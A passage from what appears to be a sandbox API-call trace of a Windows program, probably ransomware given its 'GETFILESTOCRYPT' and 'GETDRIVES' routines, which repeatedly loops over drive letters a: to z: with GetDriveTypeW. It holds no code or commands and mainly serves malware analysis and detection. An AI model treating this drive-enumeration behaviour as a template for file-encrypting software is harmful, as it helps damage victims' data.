| out: lpsz="removable") returned 0x9 [0085.134] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.134] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.134] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.135] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.135] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.136] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.137] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.137] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.137] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.137] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.137] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.137] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.137] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.137] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.137] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.138] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.138] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.139] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.140] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.140] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.140] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.141] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.141] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.141] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.141] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.141] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.141] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.141] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.141] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.141] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.141] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.142] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.142] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.143] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.144] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.144] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.145] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.145] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.145] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.145] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.145] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.146] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.146] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.146] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.146] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.146] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.147] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.148] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.149] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.149] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.149] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.149] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.149] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.149] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.149] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.149] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.149] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.149] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.150] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.150] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.151] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.152] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.152] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.152] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.153] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.153] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.153] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.153] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.153] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.153] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.153] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.153] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.153] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.154] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.154] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.155] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.156] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.156] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.156] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.156] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.156] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.156] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.156] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.156] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.156] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.156] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.156] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.156] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.157] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.157] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.157] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.157] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.157] PeekMessageW (in: 